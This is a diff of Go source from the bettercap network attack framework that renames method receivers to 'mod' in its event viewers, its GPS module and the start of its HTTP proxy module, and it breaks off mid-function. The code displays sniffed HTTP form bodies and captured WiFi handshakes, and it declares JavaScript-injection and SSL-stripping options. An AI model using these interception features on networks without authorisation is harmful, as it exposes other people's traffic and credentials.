||||||
|
@ -24,7 +24,7 @@ func (s *EventsStream) viewBLEEvent(e session.Event) {
|
||||||
vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
|
vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] new BLE device%s detected as %s%s %s.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] new BLE device%s detected as %s%s %s.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
name,
|
name,
|
||||||
|
@ -42,7 +42,7 @@ func (s *EventsStream) viewBLEEvent(e session.Event) {
|
||||||
vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
|
vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] BLE device%s %s%s lost.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] BLE device%s %s%s lost.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
name,
|
name,
|
||||||
|
|
|
@ -6,6 +6,6 @@ import (
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/bettercap/bettercap/session"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (s *EventsStream) viewBLEEvent(e session.Event) {
|
func (mod *EventsStream) viewBLEEvent(e session.Event) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,8 +20,8 @@ var (
|
||||||
reJsonKey = regexp.MustCompile(`("[^"]+"):`)
|
reJsonKey = regexp.MustCompile(`("[^"]+"):`)
|
||||||
)
|
)
|
||||||
|
|
||||||
func (s *EventsStream) shouldDumpHttpRequest(req net_sniff.HTTPRequest) bool {
|
func (mod *EventsStream) shouldDumpHttpRequest(req net_sniff.HTTPRequest) bool {
|
||||||
if s.dumpHttpReqs {
|
if mod.dumpHttpReqs {
|
||||||
// dump all
|
// dump all
|
||||||
return true
|
return true
|
||||||
} else if req.Method != "GET" {
|
} else if req.Method != "GET" {
|
||||||
|
@ -38,8 +38,8 @@ func (s *EventsStream) shouldDumpHttpRequest(req net_sniff.HTTPRequest) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) shouldDumpHttpResponse(res net_sniff.HTTPResponse) bool {
|
func (mod *EventsStream) shouldDumpHttpResponse(res net_sniff.HTTPResponse) bool {
|
||||||
if s.dumpHttpResp {
|
if mod.dumpHttpResp {
|
||||||
return true
|
return true
|
||||||
} else if strings.Contains(res.ContentType, "text/plain") {
|
} else if strings.Contains(res.ContentType, "text/plain") {
|
||||||
return true
|
return true
|
||||||
|
@ -58,7 +58,7 @@ func (s *EventsStream) shouldDumpHttpResponse(res net_sniff.HTTPResponse) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpForm(body []byte) string {
|
func (mod *EventsStream) dumpForm(body []byte) string {
|
||||||
form := []string{}
|
form := []string{}
|
||||||
for _, v := range strings.Split(string(body), "&") {
|
for _, v := range strings.Split(string(body), "&") {
|
||||||
if strings.Contains(v, "=") {
|
if strings.Contains(v, "=") {
|
||||||
|
@ -81,23 +81,23 @@ func (s *EventsStream) dumpForm(body []byte) string {
|
||||||
return "\n" + strings.Join(form, "&") + "\n"
|
return "\n" + strings.Join(form, "&") + "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpText(body []byte) string {
|
func (mod *EventsStream) dumpText(body []byte) string {
|
||||||
return "\n" + tui.Bold(tui.Red(string(body))) + "\n"
|
return "\n" + tui.Bold(tui.Red(string(body))) + "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpGZIP(body []byte) string {
|
func (mod *EventsStream) dumpGZIP(body []byte) string {
|
||||||
buffer := bytes.NewBuffer(body)
|
buffer := bytes.NewBuffer(body)
|
||||||
uncompressed := bytes.Buffer{}
|
uncompressed := bytes.Buffer{}
|
||||||
reader, err := gzip.NewReader(buffer)
|
reader, err := gzip.NewReader(buffer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return s.dumpRaw(body)
|
return mod.dumpRaw(body)
|
||||||
} else if _, err = uncompressed.ReadFrom(reader); err != nil {
|
} else if _, err = uncompressed.ReadFrom(reader); err != nil {
|
||||||
return s.dumpRaw(body)
|
return mod.dumpRaw(body)
|
||||||
}
|
}
|
||||||
return s.dumpRaw(uncompressed.Bytes())
|
return mod.dumpRaw(uncompressed.Bytes())
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpJSON(body []byte) string {
|
func (mod *EventsStream) dumpJSON(body []byte) string {
|
||||||
var buf bytes.Buffer
|
var buf bytes.Buffer
|
||||||
var pretty string
|
var pretty string
|
||||||
|
|
||||||
|
@ -110,25 +110,25 @@ func (s *EventsStream) dumpJSON(body []byte) string {
|
||||||
return "\n" + reJsonKey.ReplaceAllString(pretty, tui.Green(`$1:`)) + "\n"
|
return "\n" + reJsonKey.ReplaceAllString(pretty, tui.Green(`$1:`)) + "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpXML(body []byte) string {
|
func (mod *EventsStream) dumpXML(body []byte) string {
|
||||||
// TODO: indent xml
|
// TODO: indent xml
|
||||||
return "\n" + string(body) + "\n"
|
return "\n" + string(body) + "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) dumpRaw(body []byte) string {
|
func (mod *EventsStream) dumpRaw(body []byte) string {
|
||||||
return "\n" + hex.Dump(body) + "\n"
|
return "\n" + hex.Dump(body) + "\n"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewHttpRequest(e session.Event) {
|
func (mod *EventsStream) viewHttpRequest(e session.Event) {
|
||||||
se := e.Data.(net_sniff.SnifferEvent)
|
se := e.Data.(net_sniff.SnifferEvent)
|
||||||
req := se.Data.(net_sniff.HTTPRequest)
|
req := se.Data.(net_sniff.HTTPRequest)
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
se.Message)
|
se.Message)
|
||||||
|
|
||||||
if s.shouldDumpHttpRequest(req) {
|
if mod.shouldDumpHttpRequest(req) {
|
||||||
dump := fmt.Sprintf("%s %s %s\n", tui.Bold(req.Method), req.URL, tui.Dim(req.Proto))
|
dump := fmt.Sprintf("%s %s %s\n", tui.Bold(req.Method), req.URL, tui.Dim(req.Proto))
|
||||||
dump += fmt.Sprintf("%s: %s\n", tui.Blue("Host"), tui.Yellow(req.Host))
|
dump += fmt.Sprintf("%s: %s\n", tui.Blue("Host"), tui.Yellow(req.Host))
|
||||||
for name, values := range req.Headers {
|
for name, values := range req.Headers {
|
||||||
|
@ -139,34 +139,34 @@ func (s *EventsStream) viewHttpRequest(e session.Event) {
|
||||||
|
|
||||||
if req.Body != nil {
|
if req.Body != nil {
|
||||||
if req.IsType("application/x-www-form-urlencoded") {
|
if req.IsType("application/x-www-form-urlencoded") {
|
||||||
dump += s.dumpForm(req.Body)
|
dump += mod.dumpForm(req.Body)
|
||||||
} else if req.IsType("text/plain") {
|
} else if req.IsType("text/plain") {
|
||||||
dump += s.dumpText(req.Body)
|
dump += mod.dumpText(req.Body)
|
||||||
} else if req.IsType("text/xml") {
|
} else if req.IsType("text/xml") {
|
||||||
dump += s.dumpXML(req.Body)
|
dump += mod.dumpXML(req.Body)
|
||||||
} else if req.IsType("gzip") {
|
} else if req.IsType("gzip") {
|
||||||
dump += s.dumpGZIP(req.Body)
|
dump += mod.dumpGZIP(req.Body)
|
||||||
} else if req.IsType("application/json") {
|
} else if req.IsType("application/json") {
|
||||||
dump += s.dumpJSON(req.Body)
|
dump += mod.dumpJSON(req.Body)
|
||||||
} else {
|
} else {
|
||||||
dump += s.dumpRaw(req.Body)
|
dump += mod.dumpRaw(req.Body)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "\n%s\n", dump)
|
fmt.Fprintf(mod.output, "\n%s\n", dump)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewHttpResponse(e session.Event) {
|
func (mod *EventsStream) viewHttpResponse(e session.Event) {
|
||||||
se := e.Data.(net_sniff.SnifferEvent)
|
se := e.Data.(net_sniff.SnifferEvent)
|
||||||
res := se.Data.(net_sniff.HTTPResponse)
|
res := se.Data.(net_sniff.HTTPResponse)
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
se.Message)
|
se.Message)
|
||||||
|
|
||||||
if s.shouldDumpHttpResponse(res) {
|
if mod.shouldDumpHttpResponse(res) {
|
||||||
dump := fmt.Sprintf("%s %s\n", tui.Dim(res.Protocol), res.Status)
|
dump := fmt.Sprintf("%s %s\n", tui.Dim(res.Protocol), res.Status)
|
||||||
for name, values := range res.Headers {
|
for name, values := range res.Headers {
|
||||||
for _, value := range values {
|
for _, value := range values {
|
||||||
|
@ -177,22 +177,22 @@ func (s *EventsStream) viewHttpResponse(e session.Event) {
|
||||||
if res.Body != nil {
|
if res.Body != nil {
|
||||||
// TODO: add more interesting response types
|
// TODO: add more interesting response types
|
||||||
if res.IsType("text/plain") {
|
if res.IsType("text/plain") {
|
||||||
dump += s.dumpText(res.Body)
|
dump += mod.dumpText(res.Body)
|
||||||
} else if res.IsType("application/json") {
|
} else if res.IsType("application/json") {
|
||||||
dump += s.dumpJSON(res.Body)
|
dump += mod.dumpJSON(res.Body)
|
||||||
} else if res.IsType("text/xml") {
|
} else if res.IsType("text/xml") {
|
||||||
dump += s.dumpXML(res.Body)
|
dump += mod.dumpXML(res.Body)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "\n%s\n", dump)
|
fmt.Fprintf(mod.output, "\n%s\n", dump)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewHttpEvent(e session.Event) {
|
func (mod *EventsStream) viewHttpEvent(e session.Event) {
|
||||||
if e.Tag == "net.sniff.http.request" {
|
if e.Tag == "net.sniff.http.request" {
|
||||||
s.viewHttpRequest(e)
|
mod.viewHttpRequest(e)
|
||||||
} else if e.Tag == "net.sniff.http.response" {
|
} else if e.Tag == "net.sniff.http.response" {
|
||||||
s.viewHttpResponse(e)
|
mod.viewHttpResponse(e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -11,7 +11,7 @@ import (
|
||||||
"github.com/evilsocket/islazy/tui"
|
"github.com/evilsocket/islazy/tui"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (s *EventsStream) viewWiFiApEvent(e session.Event) {
|
func (mod *EventsStream) viewWiFiApEvent(e session.Event) {
|
||||||
ap := e.Data.(*network.AccessPoint)
|
ap := e.Data.(*network.AccessPoint)
|
||||||
vend := ""
|
vend := ""
|
||||||
if ap.Vendor != "" {
|
if ap.Vendor != "" {
|
||||||
|
@ -23,7 +23,7 @@ func (s *EventsStream) viewWiFiApEvent(e session.Event) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if e.Tag == "wifi.ap.new" {
|
if e.Tag == "wifi.ap.new" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] wifi access point %s%s detected as %s%s.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] wifi access point %s%s detected as %s%s.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
tui.Bold(ap.ESSID()),
|
tui.Bold(ap.ESSID()),
|
||||||
|
@ -31,21 +31,21 @@ func (s *EventsStream) viewWiFiApEvent(e session.Event) {
|
||||||
tui.Green(ap.BSSID()),
|
tui.Green(ap.BSSID()),
|
||||||
tui.Dim(vend))
|
tui.Dim(vend))
|
||||||
} else if e.Tag == "wifi.ap.lost" {
|
} else if e.Tag == "wifi.ap.lost" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] wifi access point %s (%s) lost.\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] wifi access point %s (%s) lost.\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
tui.Red(ap.ESSID()),
|
tui.Red(ap.ESSID()),
|
||||||
ap.BSSID())
|
ap.BSSID())
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
ap.String())
|
ap.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewWiFiClientProbeEvent(e session.Event) {
|
func (mod *EventsStream) viewWiFiClientProbeEvent(e session.Event) {
|
||||||
probe := e.Data.(wifi.WiFiProbeEvent)
|
probe := e.Data.(wifi.ProbeEvent)
|
||||||
desc := ""
|
desc := ""
|
||||||
if probe.FromAlias != "" {
|
if probe.FromAlias != "" {
|
||||||
desc = fmt.Sprintf(" (%s)", probe.FromAlias)
|
desc = fmt.Sprintf(" (%s)", probe.FromAlias)
|
||||||
|
@ -57,7 +57,7 @@ func (s *EventsStream) viewWiFiClientProbeEvent(e session.Event) {
|
||||||
rssi = fmt.Sprintf(" (%d dBm)", probe.RSSI)
|
rssi = fmt.Sprintf(" (%d dBm)", probe.RSSI)
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] station %s%s is probing for SSID %s%s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] station %s%s is probing for SSID %s%s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
probe.FromAddr.String(),
|
probe.FromAddr.String(),
|
||||||
|
@ -66,14 +66,14 @@ func (s *EventsStream) viewWiFiClientProbeEvent(e session.Event) {
|
||||||
tui.Yellow(rssi))
|
tui.Yellow(rssi))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewWiFiHandshakeEvent(e session.Event) {
|
func (mod *EventsStream) viewWiFiHandshakeEvent(e session.Event) {
|
||||||
hand := e.Data.(wifi.WiFiHandshakeEvent)
|
hand := e.Data.(wifi.HandshakeEvent)
|
||||||
|
|
||||||
from := hand.Station.String()
|
from := hand.Station.String()
|
||||||
to := hand.AP.String()
|
to := hand.AP.String()
|
||||||
what := "handshake"
|
what := "handshake"
|
||||||
|
|
||||||
if ap, found := s.Session.WiFi.Get(hand.AP.String()); found {
|
if ap, found := mod.Session.WiFi.Get(hand.AP.String()); found {
|
||||||
to = fmt.Sprintf("%s (%s)", tui.Bold(ap.ESSID()), tui.Dim(ap.BSSID()))
|
to = fmt.Sprintf("%s (%s)", tui.Bold(ap.ESSID()), tui.Dim(ap.BSSID()))
|
||||||
what = fmt.Sprintf("%s handshake", ap.Encryption)
|
what = fmt.Sprintf("%s handshake", ap.Encryption)
|
||||||
}
|
}
|
||||||
|
@ -82,7 +82,7 @@ func (s *EventsStream) viewWiFiHandshakeEvent(e session.Event) {
|
||||||
what = "RSN PMKID"
|
what = "RSN PMKID"
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] captured %s -> %s %s to %s\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] captured %s -> %s %s to %s\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
from,
|
from,
|
||||||
|
@ -91,20 +91,20 @@ func (s *EventsStream) viewWiFiHandshakeEvent(e session.Event) {
|
||||||
hand.File)
|
hand.File)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewWiFiClientEvent(e session.Event) {
|
func (mod *EventsStream) viewWiFiClientEvent(e session.Event) {
|
||||||
ce := e.Data.(wifi.WiFiClientEvent)
|
ce := e.Data.(wifi.ClientEvent)
|
||||||
|
|
||||||
ce.Client.Alias = s.Session.Lan.GetAlias(ce.Client.BSSID())
|
ce.Client.Alias = mod.Session.Lan.GetAlias(ce.Client.BSSID())
|
||||||
|
|
||||||
if e.Tag == "wifi.client.new" {
|
if e.Tag == "wifi.client.new" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] new station %s detected for %s (%s)\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] new station %s detected for %s (%s)\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
ce.Client.String(),
|
ce.Client.String(),
|
||||||
tui.Bold(ce.AP.ESSID()),
|
tui.Bold(ce.AP.ESSID()),
|
||||||
tui.Dim(ce.AP.BSSID()))
|
tui.Dim(ce.AP.BSSID()))
|
||||||
} else if e.Tag == "wifi.client.lost" {
|
} else if e.Tag == "wifi.client.lost" {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] station %s disconnected from %s (%s)\n",
|
fmt.Fprintf(mod.output, "[%s] [%s] station %s disconnected from %s (%s)\n",
|
||||||
e.Time.Format(eventTimeFormat),
|
e.Time.Format(eventTimeFormat),
|
||||||
tui.Green(e.Tag),
|
tui.Green(e.Tag),
|
||||||
ce.Client.String(),
|
ce.Client.String(),
|
||||||
|
@ -113,16 +113,16 @@ func (s *EventsStream) viewWiFiClientEvent(e session.Event) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *EventsStream) viewWiFiEvent(e session.Event) {
|
func (mod *EventsStream) viewWiFiEvent(e session.Event) {
|
||||||
if strings.HasPrefix(e.Tag, "wifi.ap.") {
|
if strings.HasPrefix(e.Tag, "wifi.ap.") {
|
||||||
s.viewWiFiApEvent(e)
|
mod.viewWiFiApEvent(e)
|
||||||
} else if e.Tag == "wifi.client.probe" {
|
} else if e.Tag == "wifi.client.probe" {
|
||||||
s.viewWiFiClientProbeEvent(e)
|
mod.viewWiFiClientProbeEvent(e)
|
||||||
} else if e.Tag == "wifi.client.handshake" {
|
} else if e.Tag == "wifi.client.handshake" {
|
||||||
s.viewWiFiHandshakeEvent(e)
|
mod.viewWiFiHandshakeEvent(e)
|
||||||
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
|
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
|
||||||
s.viewWiFiClientEvent(e)
|
mod.viewWiFiClientEvent(e)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(s.output, "[%s] [%s] %v\n", e.Time.Format(eventTimeFormat), tui.Green(e.Tag), e)
|
fmt.Fprintf(mod.output, "[%s] [%s] %v\n", e.Time.Format(eventTimeFormat), tui.Green(e.Tag), e)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -22,78 +22,78 @@ type GPS struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewGPS(s *session.Session) *GPS {
|
func NewGPS(s *session.Session) *GPS {
|
||||||
gps := &GPS{
|
mod := &GPS{
|
||||||
SessionModule: session.NewSessionModule("gps", s),
|
SessionModule: session.NewSessionModule("gps", s),
|
||||||
serialPort: "/dev/ttyUSB0",
|
serialPort: "/dev/ttyUSB0",
|
||||||
baudRate: 19200,
|
baudRate: 19200,
|
||||||
}
|
}
|
||||||
|
|
||||||
gps.AddParam(session.NewStringParameter("gps.device",
|
mod.AddParam(session.NewStringParameter("gps.device",
|
||||||
gps.serialPort,
|
mod.serialPort,
|
||||||
"",
|
"",
|
||||||
"Serial device of the GPS hardware."))
|
"Serial device of the GPS hardware."))
|
||||||
|
|
||||||
gps.AddParam(session.NewIntParameter("gps.baudrate",
|
mod.AddParam(session.NewIntParameter("gps.baudrate",
|
||||||
fmt.Sprintf("%d", gps.baudRate),
|
fmt.Sprintf("%d", mod.baudRate),
|
||||||
"Baud rate of the GPS serial device."))
|
"Baud rate of the GPS serial device."))
|
||||||
|
|
||||||
gps.AddHandler(session.NewModuleHandler("gps on", "",
|
mod.AddHandler(session.NewModuleHandler("gps on", "",
|
||||||
"Start acquiring from the GPS hardware.",
|
"Start acquiring from the GPS hardware.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return gps.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
gps.AddHandler(session.NewModuleHandler("gps off", "",
|
mod.AddHandler(session.NewModuleHandler("gps off", "",
|
||||||
"Stop acquiring from the GPS hardware.",
|
"Stop acquiring from the GPS hardware.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return gps.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
gps.AddHandler(session.NewModuleHandler("gps.show", "",
|
mod.AddHandler(session.NewModuleHandler("gps.show", "",
|
||||||
"Show the last coordinates returned by the GPS hardware.",
|
"Show the last coordinates returned by the GPS hardware.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return gps.Show()
|
return mod.Show()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return gps
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Name() string {
|
func (mod *GPS) Name() string {
|
||||||
return "gps"
|
return "gps"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Description() string {
|
func (mod *GPS) Description() string {
|
||||||
return "A module talking with GPS hardware on a serial interface."
|
return "A module talking with GPS hardware on a serial interface."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Author() string {
|
func (mod *GPS) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Configure() (err error) {
|
func (mod *GPS) Configure() (err error) {
|
||||||
if gps.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, gps.serialPort = gps.StringParam("gps.device"); err != nil {
|
} else if err, mod.serialPort = mod.StringParam("gps.device"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, gps.baudRate = gps.IntParam("gps.baudrate"); err != nil {
|
} else if err, mod.baudRate = mod.IntParam("gps.baudrate"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
gps.serial, err = serial.OpenPort(&serial.Config{
|
mod.serial, err = serial.OpenPort(&serial.Config{
|
||||||
Name: gps.serialPort,
|
Name: mod.serialPort,
|
||||||
Baud: gps.baudRate,
|
Baud: mod.baudRate,
|
||||||
ReadTimeout: time.Second * 1,
|
ReadTimeout: time.Second * 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) readLine() (line string, err error) {
|
func (mod *GPS) readLine() (line string, err error) {
|
||||||
var n int
|
var n int
|
||||||
|
|
||||||
b := make([]byte, 1)
|
b := make([]byte, 1)
|
||||||
for {
|
for {
|
||||||
if n, err = gps.serial.Read(b); err != nil {
|
if n, err = mod.serial.Read(b); err != nil {
|
||||||
return
|
return
|
||||||
} else if n == 1 {
|
} else if n == 1 {
|
||||||
if b[0] == '\n' {
|
if b[0] == '\n' {
|
||||||
|
@ -105,48 +105,48 @@ func (gps *GPS) readLine() (line string, err error) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Show() error {
|
func (mod *GPS) Show() error {
|
||||||
fmt.Printf("latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n",
|
fmt.Printf("latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n",
|
||||||
gps.Session.GPS.Latitude,
|
mod.Session.GPS.Latitude,
|
||||||
gps.Session.GPS.Longitude,
|
mod.Session.GPS.Longitude,
|
||||||
gps.Session.GPS.FixQuality,
|
mod.Session.GPS.FixQuality,
|
||||||
gps.Session.GPS.NumSatellites,
|
mod.Session.GPS.NumSatellites,
|
||||||
gps.Session.GPS.Altitude)
|
mod.Session.GPS.Altitude)
|
||||||
|
|
||||||
gps.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Start() error {
|
func (mod *GPS) Start() error {
|
||||||
if err := gps.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return gps.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
|
|
||||||
defer gps.serial.Close()
|
defer mod.serial.Close()
|
||||||
|
|
||||||
for gps.Running() {
|
for mod.Running() {
|
||||||
if line, err := gps.readLine(); err == nil {
|
if line, err := mod.readLine(); err == nil {
|
||||||
if s, err := nmea.Parse(line); err == nil {
|
if s, err := nmea.Parse(line); err == nil {
|
||||||
// http://aprs.gids.nl/nmea/#gga
|
// http://aprs.gids.nl/nmea/#gga
|
||||||
if m, ok := s.(nmea.GNGGA); ok {
|
if m, ok := s.(nmea.GNGGA); ok {
|
||||||
gps.Session.GPS = m
|
mod.Session.GPS = m
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
gps.Debug("error parsing line '%s': %s", line, err)
|
mod.Debug("error parsing line '%s': %s", line, err)
|
||||||
}
|
}
|
||||||
} else if err != io.EOF {
|
} else if err != io.EOF {
|
||||||
gps.Warning("error while reading serial port: %s", err)
|
mod.Warning("error while reading serial port: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (gps *GPS) Stop() error {
|
func (mod *GPS) Stop() error {
|
||||||
return gps.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
// let the read fail and exit
|
// let the read fail and exit
|
||||||
gps.serial.Close()
|
mod.serial.Close()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -10,66 +10,66 @@ type HttpProxy struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
p := &HttpProxy{
|
mod := &HttpProxy{
|
||||||
SessionModule: session.NewSessionModule("http.proxy", s),
|
SessionModule: session.NewSessionModule("http.proxy", s),
|
||||||
proxy: NewHTTPProxy(s),
|
proxy: NewHTTPProxy(s),
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("http.port",
|
mod.AddParam(session.NewIntParameter("http.port",
|
||||||
"80",
|
"80",
|
||||||
"HTTP port to redirect when the proxy is activated."))
|
"HTTP port to redirect when the proxy is activated."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("http.proxy.address",
|
mod.AddParam(session.NewStringParameter("http.proxy.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the HTTP proxy to."))
|
"Address to bind the HTTP proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("http.proxy.port",
|
mod.AddParam(session.NewIntParameter("http.proxy.port",
|
||||||
"8080",
|
"8080",
|
||||||
"Port to bind the HTTP proxy to."))
|
"Port to bind the HTTP proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("http.proxy.script",
|
mod.AddParam(session.NewStringParameter("http.proxy.script",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Path of a proxy JS script."))
|
"Path of a proxy JS script."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("http.proxy.injectjs",
|
mod.AddParam(session.NewStringParameter("http.proxy.injectjs",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"URL, path or javascript code to inject into every HTML page."))
|
"URL, path or javascript code to inject into every HTML page."))
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
|
mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip",
|
||||||
"false",
|
"false",
|
||||||
"Enable or disable SSL stripping."))
|
"Enable or disable SSL stripping."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
|
||||||
"Start HTTP proxy.",
|
"Start HTTP proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("http.proxy off", "",
|
mod.AddHandler(session.NewModuleHandler("http.proxy off", "",
|
||||||
"Stop HTTP proxy.",
|
"Stop HTTP proxy.",
|
||||||
func(args []string) error {
|
